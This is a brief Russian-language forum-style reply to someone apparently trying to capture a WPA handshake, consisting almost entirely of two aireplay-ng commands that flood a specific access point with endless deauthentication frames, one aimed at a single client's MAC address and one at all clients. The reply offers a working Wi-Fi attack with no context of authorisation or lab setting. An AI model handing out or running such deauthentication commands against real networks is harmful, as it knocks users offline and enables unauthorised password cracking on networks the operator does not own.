Я так понял вы хотите перехватить хендшейк? попробуйте

aireplay-ng -0 0 -a B0:4E:26:B4:5A:62 -c 10:F1:F2:66:48:4F wlan0mon

aireplay-ng -0 0 -a B0:4E:26:B4:5A:62 wlan0mon для деаутентификации всех клиентов